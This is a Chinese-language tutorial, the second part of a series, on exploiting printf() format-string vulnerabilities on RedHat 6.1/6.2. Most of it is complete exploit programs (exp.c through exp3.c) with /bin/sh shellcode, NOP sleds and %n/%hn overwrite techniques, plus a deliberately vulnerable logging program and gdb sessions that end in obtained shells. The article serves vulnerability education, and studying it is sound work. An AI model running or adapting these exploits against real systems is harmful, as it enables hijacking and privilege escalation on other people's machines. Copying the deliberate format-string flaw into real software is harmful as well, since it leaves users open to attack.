*printf()格式化串安全漏洞分析(下)

类别:编程语言 点击:0 评论:0 推荐:

*printf()格式化串安全漏洞分析(下)

    测试平台:RedHat 6.1, RedHat 6.2 (Intel i386)


(继续)

那么让我们来写一个简单的测试程序来看一下:

<- begin ->  exp.c

#include <stdlib.h>                                           
#include <unistd.h>                                           
                                                              
#define DEFAULT_OFFSET                    0                   
#define DEFAULT_ALIGNMENT                 2     // 我们使用两个字节来进行"对齐"
#define DEFAULT_RETLOC           0xbffff6dc     // 存放main()返回地址的地址              
#define DEFAULT_BUFFER_SIZE             512                   
#define DEFAULT_EGG_SIZE               2048                   
#define NOP                            0x90                   
                                                              
char shellcode[] =                                            
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

                                                              
unsigned long get_esp(void) {                                 
   __asm__("movl %esp,%eax");                                 
}                                                             
                                                              
main(int argc, char *argv[]) {                           
  char *buff, *ptr, *egg;                                     
  char *env[2];
  long shell_addr,retloc=DEFAULT_RETLOC;                                                  
  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;       
  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;                            
  int fmt_num=4, i;
                                                              
  if (argc > 1) sscanf(argv[1],"%x",&retloc); // 存放main()返回地址的地址                        

                                                             
  if (argc > 2) offset  = atoi(argv[2]);                      
  if (argc > 3) align = atoi(argv[3]);                      
  if (argc > 4) bsize   = atoi(argv[4]);                      
  if (argc > 5) eggsize = atoi(argv[5]);                      

 
                                                              
  printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);                

                                           
  if (!(buff = malloc(bsize))) {                              
    printf("Can't allocate memory.\n");                       
    exit(0);                                                  
  }                                                           

  if (!(egg = malloc(eggsize))) {                             
    printf("Can't allocate memory.\n");                       
    exit(0);                                                  
  }                                                           
 
  printf("Using Ret location address: 0x%x\n", retloc);                                          

                        
  shell_addr = get_esp() + offset;    //计算我们shellcode所处的地址                              
  printf("Using Shellcode address: 0x%x\n", shell_addr);
 
  ptr = buff;                                                 
  memset(buff,'A',4);

  i = align;
  buff[i]   =  retloc & 0x000000ff;   // 将retloc放到buff里                   
  buff[i+1] = (retloc & 0x0000ff00) >> 8;                
  buff[i+2] = (retloc & 0x00ff0000) >> 16;               
  buff[i+3] = (retloc & 0xff000000) >> 24;                 
 
  ptr = buff + i + 4;
  for(i = 0 ; i < 4 ; i++ )  //存放%.10u%.10u%.10u%.10u
    {
        memcpy(ptr, "%.10u", 5);
        ptr += 5;
    }
/* 存放"%.SHELL_ADDRu%n",为了使显示总长度等于shell_addr,
  * 我们减去4个%.10u的长度:4*10,再减去"argv[1] = xxRETloc"的长度:12+4
  * 将这个长度作为第5个%u的宽度值   
  */ 
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

  ptr = egg;                                                  
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)       
    *(ptr++) = NOP;                                           
                                                              
  for (i = 0; i < strlen(shellcode); i++)                     
    *(ptr++) = shellcode[i];                                  
                                                              
  buff[bsize - 1] = '\0';                                     
  egg[eggsize - 1] = '\0';                                    
                                                              
  memcpy(egg, "EGG=", 4);                                       
  env[0] = egg ;
  env[1] = (char *)0 ;

  execle("./vul","vul",buff,NULL,env);         
}  /* end of main */      

<- end -> 

注意:在我们的程序里,我们实际使用的模式是:

AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n

选用%.10u的原因是:如果用"%.nu"来显示一个数值的时候,若数值长度大于n,则仍然会
显示实际的长度,而不会截断为n。只有在数值长度小于n时,才会在数值前面补'0'使显
示长度达到n.而一个四字节的无符号整数,最大为0xffffffff = 4294967295,其长度也
就是10,因此,使用%.10u将保证显示长度的精确(肯定为10).现在唯一要确定的就是
RETloc,也就是main()的返回地址了。这也很简单:

[root@rh62 /root]# ./x 0x41414141
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0x41414141
Using Shellcode address: 0xbffffb08

Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
GNU gdb 19991004
<....>
#0  0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
    ap=0xbffff2e8) at vfprintf.c:1212
1212    vfprintf.c: No such file or directory.
(gdb) bt 
#0  0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
    ap=0xbffff2e8) at vfprintf.c:1212
#1  0x40070716 in _IO_vsnprintf (
    string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133",

maxlen=1023,
    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
    args=0xbffff2d0) at vsnprintf.c:129
#2  0x80484de in log (level=1,
    fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n")
    at vul.c:13
#3  0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33
(gdb) i f 3  -----> 查看main()的栈帧
Stack frame at 0xbffff6d8:
eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb
caller of frame at 0xbffff2c0
source language c.
Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724
Locals at 0xbffff6d8, Previous frame's sp is 0x0
Saved registers:
  ebp at 0xbffff6d8, eip at 0xbffff6dc  ----> OK,存放eip的地址是0xbffff6dc
(gdb)

好的,既然现在我们已经知道了RETloc的地址,就让我们运行一下我们的攻击程序看看吧:
[root@rh62 /root]# ./x 0xbffff6dc
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0xbffff6dc
Using Shellcode address: 0xbffffb08

argv[1] = AA荟�?.10u%.10u%.10u%.10u%.3221224144u%n
Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
<....>
#0  0x42 in ?? ()
(gdb) bt
#0  0x42 in ?? ()
(gdb) x/x 0xbffff6dc
0xbffff6dc:     0x00000042
(gdb)

很可惜,并没有看到令人激动的#号提示符。看起来0xbffffb08的长度不能被正确的打印出来,
根据测试,至少大于0x90000000的长度都不能正确显示,具体原因还有待研究。感兴趣的读者
可以自行分析一下。为了得到一个可以工作的版本,我们改动一下vul.c和exp.c:

<- begin ->  vul1.c

#include <stdarg.h>
#include <unistd.h>
#include <syslog.h>

#define BUFSIZE 1024

char egg[BUFSIZE];

int log(int level, char *fmt,...)
{
   char buf[BUFSIZE];
   va_list ap;
 
   va_start(ap, fmt);
   vsnprintf(buf, sizeof(buf)-1, fmt, ap);
   buf[BUFSIZE-1] = '\0';
   syslog(level, "[hmm]: %s", buf);
   va_end(ap);
}


int main(int argc, char **argv)
{

  char buf[BUFSIZE];
  int i,num;
 
  if(getenv("EGG")) {
     /* 我们将环境EGG的内容复制到一个全局buffer里,
      * 而这个buffer的起始地址是0x80xxxxx,它可以被正确显示
      */
     strncpy(egg, getenv("EGG"), BUFSIZE-1);
     egg[BUFSIZE-1] = '\0';
  }
  num = argc ;
  if(argc > 1) {
    for ( i = 1 ; i < num ; i ++ ) {
            snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);
            buf[BUFSIZE-1] = '\0';
            log(LOG_ALERT, buf);  // 这里有问题
            printf("argv[%d] = %s \n", i, argv[i]);
    }
  }
}

<- end -> 

<- begin ->  exp1.c

#include <stdlib.h>                                           
#include <unistd.h>                                           
                                                              
#define DEFAULT_ALIGNMENT                 2                   
#define DEFAULT_RETLOC           0xbffffadc                  
#define DEFAULT_SHELLADDR        0x8049800   //我们的shellcode地址在Heap/BSS段                
#define DEFAULT_BUFFER_SIZE             512                   
#define DEFAULT_EGG_SIZE               1024                  
#define NOP                            0x90                   
                                                              
char shellcode[] =                                            
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

                                                              
unsigned long get_esp(void) {                                 
   __asm__("movl %esp,%eax");                                 
}                                                             
                                                              
main(int argc, char *argv[]) {                           
  char *buff, *ptr, *egg;                                     
  char *env[2];
  long retloc = DEFAULT_RETLOC;
  long shell_addr = DEFAULT_SHELLADDR;

  int align = DEFAULT_ALIGNMENT;       
  int bsize = DEFAULT_BUFFER_SIZE, eggsize = DEFAULT_EGG_SIZE;                            
  int i;
                                                              

  if (argc > 1) sscanf(argv[1],"%x",&retloc);
  if (argc > 2) sscanf(argv[2],"%x",&shell_addr);
  if (argc > 3) align = atoi(argv[3]);                      
  if (argc > 4) bsize   = atoi(argv[4]);                      
  if (argc > 5) eggsize = atoi(argv[5]);                      

 
                                                              
  printf("Usages: %s <RETloc> <SHELL_addr> <align> <buffsize> <eggsize> \n",argv[0]);            

                                               
  if (!(buff = malloc(bsize))) {                              
    printf("Can't allocate memory.\n");                       
    exit(0);                                                  
  }                                                           

  if (!(egg = malloc(eggsize))) {                             
    printf("Can't allocate memory.\n");                       
    exit(0);                                                  
  }                                                           
                                                              
  printf("Using RET location address: %#x\n", retloc);
  printf("Using Shellcode address: %#x\n", shell_addr);                      
                                                              
  ptr = buff;                                                 
  memset(buff,'A',4);

  i = align;
  buff[i]   =  retloc & 0x000000ff;                      
  buff[i+1] = (retloc & 0x0000ff00) >> 8;                
  buff[i+2] = (retloc & 0x00ff0000) >> 16;               
  buff[i+3] = (retloc & 0xff000000) >> 24;                 
 
  ptr = buff + i + 4;
  for(i = 0 ; i < 4 ; i++ )
    {
        memcpy(ptr, "%.10u", 5);
        ptr += 5;
    }
 
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

  ptr = egg;                                                  
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)       
    *(ptr++) = NOP;                                           
                                                              
  for (i = 0; i < strlen(shellcode); i++)                     
    *(ptr++) = shellcode[i];                                  
                                                              
  buff[bsize - 1] = '\0';                                     
  egg[eggsize - 1] = '\0';                                    
                                                              
  memcpy(egg, "EGG=", 4);                                       
  env[0] = egg ;
  env[1] = (char *)0 ;

  execle("./vul1","vul1",buff,NULL,env);         
}  /* end of main */      

<- end -> 

这里唯一改变的就是shellcode的地址指向了Heap/BSS区,它通常在内存区域的低端:
0x8000000以后的地址,这个地址将可以被正确显示,因此就可以正确的覆盖main()的
返回地址,并跳到那里去执行我们的shellcode.这个地址的获取,也可以通过gdb跟踪
得到,这里不再赘述。

[root@rh62 /root]# ./exp1 0xbffffadc 0x8049800
Usages: ./exp1 <RETloc> <SHELL_addr> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffadc
Using Shellcode address: 0x8049800

argv[1] = AA茭�?.10u%.10u%.10u%.10u%.134518728u%n
bash#
很好,成功了!注意在得到#号提示符前,通常需要等待几秒钟,这是因为显示0x8049800
个字符也是颇需要一段时间的.(当然,结果并没有显示在标准输出上) :-)

<2> 攻击方法二:多次覆盖返回地址(1)
====================================

上面的程序只能在RedHat 6.2这样的系统上成功,在RedHat 6.1下它是不能成功的。原因
前面已经提到了。那么是不是在RedHat 6.1下就没有办法了呢?并不是这样的,只要我们动
一下脑筋,就会发现由于这个问题程序自身的特点颐窃赗edHat 6.1下也可以成功的进行
攻击。我们看到问题程序vul.c会显示并记录所有用户输入的参数,而制约我们的攻击程序的
因素就是显示的长度,那么如果我们不显示那么长的内容,vsnprintf()是可以正常工作的:
AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
我们首先想到的时候如何减小shell_addr的值。如果我们将一个shell_addr分成四部分:
shell_addr = (SH1 << 24) + (SH2 << 16) + (SH3 <<8) + SH4

例如,假设在RETloc这个地址中保存有返回地址0x44332211,我们想将这个0x44332211换成
存放shellcode的地址:0xbffffcec,那么我们所对应的SH1,SH2,SH3,SH4就分别是:

SH1 = 0xbf
SH2 = 0xff
SH3 = 0xfc
SH4 = 0xec

我们所要做的就是依次将这四个地址存入RETloc,RETloc+1,RETloc+2,RETloc+3中去,也就是:

AA|RETloc  |%.10u%.10u%.10u%.10u%.(SH4-4*10-16)u|%n
AA|RETloc+1|%.10u%.10u%.10u%.10u%.(SH3-4*10-16)u|%n
AA|RETloc+2|%.10u%.10u%.10u%.10u%.(SH2-4*10-16)u|%n
AA|RETloc+3|%.10u%.10u%.10u%.10u%.(SH1-4*10-16)u|%n

注意:我们考虑的是Intel x86的系统,因此,排列顺序是反序的
下图可以让你更清楚的看到每一次覆盖后的变化:

RETloc  RETloc+1 RETloc+2 RETloc+3
|0x11   | 0x22   | 0x33   |0x44|                   原来存放的地址: 0x44332211
|0xec   | 0x00   | 0x00   |0x00|                   第一次覆盖SH4:  0x000000ec
|0xec   | 0xfc   | 0x00   |0x00| 0x00|             第二次覆盖SH3:  0x0000fcec
|0xec   | 0xfc   | 0xff   |0x00| 0x00| 0x00|       第三次覆盖SH2:  0x00fffcec
|0xec   | 0xfc   | 0xff   |0xbf| 0x00| 0x00| 0x00| 第四次覆盖SH1:  0xbffffcec

需要特别注意的是:这样四次覆盖之后,将导致原来存放函数参数的地址内容被清零,
例如RETloc+4,RETloc+5,RETloc+6等处,如果该函数在覆盖以后仍然需要访问这几个参
数,可能会导致函数不能正常退出,特别是一些极端依赖函数参数的情况下。

另外一个问题是程序是否允许你连续四次进行覆盖,如果只能覆盖一次,也不能达到我们
的目的,不过我们看到我们的问题程序是会循环从main()的参数中读取并调用log()子函数
,那么我们只要提供四个命令行参数就可以进行四次覆盖了。

<- begin ->  exp2.c

#include <stdlib.h>                                           
#include <unistd.h>                                           
                                                              
#define DEFAULT_OFFSET                    500                   
#define DEFAULT_ALIGNMENT                 2                   
#define DEFAULT_RETLOC           0xbffffa6c                   
#define DEFAULT_BUFFER_SIZE             128                   
#define DEFAULT_EGG_SIZE               1024                   
#define NOP                            0x90                   
                                                              
char shellcode[] =                                            
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

                                                              
unsigned long get_esp(void) {                                 
   __asm__("movl %esp,%eax");                                 
}                                                             
                                                              
main(int argc, char *argv[]) {                           
  char *buff[4], *ptr, *egg;                                     
  char *env[2];
  long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;                                                 

 
  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;       
  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;                            
  int i,j;
                                                              
  if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */
  if (argc > 2) offset  = atoi(argv[2]);                      
  if (argc > 3) align = atoi(argv[3]);                      
  if (argc > 4) bsize   = atoi(argv[4]);                      
  if (argc > 5) eggsize = atoi(argv[5]);                      

 
                                                              
  printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);                

                                           
  for(i = 0 ; i < 4 ; i++ ) {
    if (!(buff[i] = malloc(bsize))) {                              
       printf("Can't allocate memory.\n");                       
       exit(0);                                                  
    }
  }                                                           

  if (!(egg = malloc(eggsize))) {                             
    printf("Can't allocate memory.\n");                       
    exit(0);                                                  
  }                                                           
                                                              
  printf("Using RET location address: 0x%x\n", retloc);
  shell_addr = get_esp() + offset;       /* 计算shellcocde所在的地址 */                          

                      
  printf("Using Shellcode address: 0x%x\n", shell_addr);
  for(j = 0; j < 4 ; j++) {                                                            
     ptr = buff[j];                                                 
     memset(ptr,'A',4);

     ptr += align;
     (*ptr++) =  retloc & 0x000000ff;        /* 填充retloc */              
     (*ptr++) = (retloc & 0x0000ff00) >> 8;                
     (*ptr++) = (retloc & 0x00ff0000) >> 16;               
     (*ptr++) = (retloc & 0xff000000) >> 24;                 
 
     retloc++; /* retloc地址后移一个字节,以便进行下一次覆盖 */
     for(i = 0 ; i < 4 ; i++ )
     {
        memcpy(ptr, "%.10u", 5); /* 输入格式串,调整%n所对应的位置 */
        ptr += 5;
     }
     tmpaddr = (shell_addr >> j*8 ) & 0xff; /* 计算SHj */
     if(tmpaddr > 56 )  /* 计算最后一个%nu中的n值 */
       sprintf(ptr, "%%.%uu%%n", tmpaddr - 56);
     else
       sprintf(ptr, "%%.%uu%%n", 1);

 
  }
  ptr = egg;                                                  
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)       
    *(ptr++) = NOP;                                           
                                                              
  for (i = 0; i < strlen(shellcode); i++)                     
    *(ptr++) = shellcode[i];                                  
                                                              
  egg[eggsize - 1] = '\0';                                    
                                                              
  memcpy(egg, "EGG=", 4);                                       
  env[0] = egg ;
  env[1] = (char *)0 ;

  execle("./vul","vul",buff[0],buff[1],buff[2],buff[3],NULL,env);         
}  /* end of main */      

<- end -> 


[root@rh62 /root]# ./exp2
Usages: ./exp2 <RETloc> <offset> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffa6c
Using Shellcode address: 0xbffffcec

argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n
argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n
argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n
argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n
bash#

注意我们上面的exp2.c中在计算最后一个%.nu时存在一些问题,如果
0 < (tmpaddr - 56) < 10 ,那么%.(tmpaddr-56)u 所显示的长度可能不等于(tmpaddr-56)
,同样如果tmpaddr <= 56 ,那么我们的shellcode的地址就会有偏差,幸运的是,由于我们
的shellcode是存放在环境变量中,它通常在堆栈的高端,地址通常是0xbffff???,只有地址
的最低一个字节才可能出现上面所讲的两种情况,而如果我们的shellcode前面填充了一些
NOP指令的话,那么我们的shellcode地址就有一个范围,只要落在这个范围内,都可以执行
我们的shellcode,因此只要我们在这一段地址内选择一个有效的地址就可以了。

这个程序在RedHat 6.1和RedHat 6.2下都验证通过。

<3> 攻击方法三:多次覆盖返回地址(2)
======================================

有读者可能会说,这个程序的成功依赖于我们可以连续进行四次覆盖。如果只给我们一次
机会,是不是就不行了呢?其实,还有一种方法可以完成我们的任务。基本思路也是分四次
来覆盖,只不过通过一个*printf()就可以完成了,考虑下列这种情况:

  |AARET1|AAAARET2|AAAARET3|AAAARET4|%c...%c|%n1c%n|%n2c%n|%n3c%n|%n4c%n
     ^        ^        ^        ^                 |      |      |      |
     |        |        |        |_________________|______|______|______|                         

           
     |        |        |__________________________|______|______|                                

                   
     |        |___________________________________|______| 
     |____________________________________________|

我们使用四个%n,它们会依次将4个显示长度保存到对应的地址去。我们如果调整%c的个数,
使第一个%n对应RET1,第二个%n对应RET2,第三个%n对应RET3,第四个%n对应RET4,那么我
们就成功了一半了。当然我们要让:
RET1 = RETloc
RET2 = RETloc + 1
RET3 = RETloc + 2
RET4 = RETloc + 3

n1 = SH4 - 1*4 - 12 - 4 - 8*3
(1*4是4个%c显示的长度,12是"AA"再加上前面的"argv[.."的长度,4是RET1长度,8*3是后
面三组"AAAARET"的长度)
n2 = SH3 - SH4
n3 = SH2 - SH3
n4 = SH1 - SH2 

这样,在碰到第一个%n时,显示总长度就是SH4,碰到第二个%n时,显示总长度就是 SH3,依
此类推。
注意:由于SH1通常等于0xbf(如果是在堆栈中的话),而SH2通常等于0xff,SH1<SH2,
因此我们给SH1加上一个大数0x0100,让它变成0x01BF,这样在进行第四次覆盖的时候:
会将RETloc+4变成0x01,但这通常并不会造成大的影响,RETloc+3仍然被正确的改成了0xbf

RETloc  RETloc+1 RETloc+2 RETloc+3                               
|0xec   | 0xfc   | 0xff   |0xbf| 0x01| 0x00| 0x00| 第四次覆盖SH1:  0xbffffcec                    

          

因此,我们让n4 = 0x0100 + SH1 - SH2

另外我们的程序中没有使用%.nu的格式而是采用了%nc, 这是因为%nc可以更加准确的决定
我们的显示长度,只要n>0,显示长度总是精确的等于n,这就为我们的计算带来了很大的方
便。(注意不能使用%.nc的格式,这不起作用) 不过%nc会使用空格来填充空白部分,如果
应用程序将空格作为分隔符来解释时,可能会出问题。

<- begin ->  exp3.c

#include <stdlib.h>                                           
#include <unistd.h>                                           
                                                              
#define DEFAULT_OFFSET                    550                   
#define DEFAULT_ALIGNMENT                 2                   
#define DEFAULT_RETLOC           0xbffffabc                   
#define DEFAULT_BUFFER_SIZE             128                   
#define DEFAULT_EGG_SIZE               1024                   
#define NOP                            0x90                   
                                                              
char shellcode[] =                                            
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

                                                              
unsigned long get_esp(void) {                                 
   __asm__("movl %esp,%eax");                                 
}                                                             
                                                              
main(int argc, char *argv[]) {                           
  char *buff, *ptr, *egg;                                     
  char *env[2];
  long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;                                                 

 
  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;       
  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;                            
  int i,SH1,SH2,SH3,SH4,oldSH4;
                                                              
  if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */
  if (argc > 2) offset  = atoi(argv[2]);                      
  if (argc > 3) align = atoi(argv[3]);                      
  if (argc > 4) bsize   = atoi(argv[4]);                      
  if (argc > 5) eggsize = atoi(argv[5]);                      

 
                                                              
  printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);                

                                           
 
  if (!(buff = malloc(bsize))) {                              
       printf("Can't allocate memory.\n");                       
       exit(0);                                                  
    }
                                                

  if (!(egg = malloc(eggsize))) {                             
    printf("Can't allocate memory.\n");                       
    exit(0);                                                  
  }                                                           
                                                              
  printf("Using RET location address: 0x%x\n", retloc);
  shell_addr = get_esp() + offset;       /* 计算shellcocde所在的地址 */                          

                      
  printf("Using Shellcode address: 0x%x\n", shell_addr);
 
  SH1 = (shell_addr >> 24) & 0xff;
  SH2 = (shell_addr >> 16) & 0xff;
  SH3 = (shell_addr >>  8) & 0xff;
  SH4 = (shell_addr >>  0) & 0xff;

  /* 如果SH4小于44,我们就增大它的值,让它等于44 + 1,以免出现负值 */
  if( (SH4 - 4 - 12 - 4 - 8*3) <= 0) {
      oldSH4 = SH4;
      SH4 = 4 + 12 + 4 + 8*3 + 1;
      printf("Using New Shellcode address: 0x%x\n", shell_addr+SH4-oldSH4);
  }
 
     ptr = buff;                                                 
 
     for (i = 0; i <4 ; i++, retloc++ ){
       memset(ptr,'A',4);
       ptr += 4 ;
       (*ptr++) =  retloc & 0xff;        /* 填充retloc+n (n= 0,1,2,3) */         
       (*ptr++) = (retloc >> 8  ) & 0xff ;                
       (*ptr++) = (retloc >> 16 ) & 0xff ;                
       (*ptr++) = (retloc >> 24 ) & 0xff ;                
      }
         
     for(i = 0 ; i < 4 ; i++ )
     {
        memcpy(ptr, "%c", 2); /* 输入格式串,调整%n所对应的位置 */
        ptr += 2;
     }
     /* "输入"我们的shellcode地址 */
     sprintf(ptr, "%%%uc%%n%%%uc%%n%%%uc%%n%%%uc%%n",(SH4 - 4 - 12 - 4 - 8*3),
              (SH3 - SH4),(SH2 - SH3),(0x0100 + SH1 - SH2) );
 
  ptr = egg;                                                  
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)       
    *(ptr++) = NOP;                                           
                                                              
  for (i = 0; i < strlen(shellcode); i++)                     
    *(ptr++) = shellcode[i];                                  
                                                              
  egg[eggsize - 1] = '\0';                                    
                                                              
  memcpy(egg, "EGG=", 4);                                       
  env[0] = egg ;
  env[1] = (char *)0 ;

  execle("./vul","vul",buff + align, NULL,env);         
}  /* end of main */    

<- end -> 

验证一下:
[warning3@rh62 format]$ ./exp3
Usages: ./exp3 <RETloc> <offset> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffabc
Using Shellcode address: 0xbffffcfa
argv[1] = AA贱�緼AAA晋�緼AAA菌�緼AAA窥�?c%c%c%c%206c%n%2c%n%3c%n%192c%n
bash$ id
uid=500(warning3) gid=500(warning3) groups=500(warning3)
这个程序在redhat 6.1和redhat 6.2下均验证通过

<4> 攻击方法三:多次覆盖返回地址(利用%hn)
=========================================

在drow的statd-toy.c中又提供了一种方法:利用%hn,它会覆盖一个字的高16位:

main()
{
int a=0x41414141;
printf("a=%#x%hn\n",a,&a);
printf("a=%#x\n",a);
}

[warning3@redhat-6 wuftp]$ ./aa
a=0x41414141
a=0x4141000c

<....>用gdb看一下:
(gdb) b 5
Breakpoint 1 at 0x80483ea: file aa.c, line 5.
(gdb) r
Starting program: /home/warning3/wuftp/./aa
a=0x41414141

Breakpoint 1, main () at aa.c:5
5        printf("a=%#x\n",a);
(gdb) p &a
$1 = (int *) 0xbffffcb4
(gdb) x/4b 0xbffffcb4
0xbffffcb4:     0x0c    0x00    0x41    0x41

因此我们只要覆盖两次就可以了,具体的方法和前面相似,有兴趣的读者可以自行测试一下。
这种方法的好处是我们不会覆盖多余的地址,它只覆盖指定地址的两个字节内容!


综合上面的几种方法,我们会看到第三和第四种方法是最通用的,可以适用于各种情况。第
一种和第二种都有其自己的局限性,更多的依赖于应用程序自身的特点。

不过这几种方法都由一个局限,就是必须非常精确的给定存放返回地址的地址:retloc,错一
个字节也不行。这使攻击的成功率大打折扣。回忆一下原来的普通exploit为什么容易成功,
是因为它通常使用一串返回地址来填充堆栈,只要能覆盖返回地址retloc就可以了,并不需要
知道retloc确切的值。而这里,我们必须精确指定retloc,将shellcode地址直接填充到返回地
址中去。而由于retloc的大小和用户环境变量等因素有很大关系,往往不是很确定,所以不是
那么容易就一次成功的。那么如果我们能够指定一串retloc,retloc+4,retloc+8...,分别将
shellcode地址存到这些地址去,那么我们不就可以增大成功的把握了吗?利用第4种方法,使
很容易做到这一点的。具体的操作有兴趣的读者可以自行测试,也可以与我联系。


另外,%n并不仅仅局限于用来覆盖返回地址,也可以用来覆盖某些保存的数据,比如保存
的uid,gid等等。

结?/h4>========
这种格式化串导致的溢出问题,虽然看起来比较复杂,实际上只要程序员在书写应用程序
时稍加注意,是完全可以避免的。看来粗心真的是安全的大敌。:-) 由于时间仓促,文中
错疏之处难免,敬请批评指正。

参考文献
==========
[1] <<Format Bugs: What are they, Where did they come from,.........
      How to exploit them>> , lamagra ([email protected])
[2] <<Remote shell via Qpopper2.53>> , prizm ([email protected])
[3] <<More info on format bugs>>,  Pascal Bouchareine [ kalou <[email protected]> ]

本文地址:http://com.8s8s.com/it/it21876.htm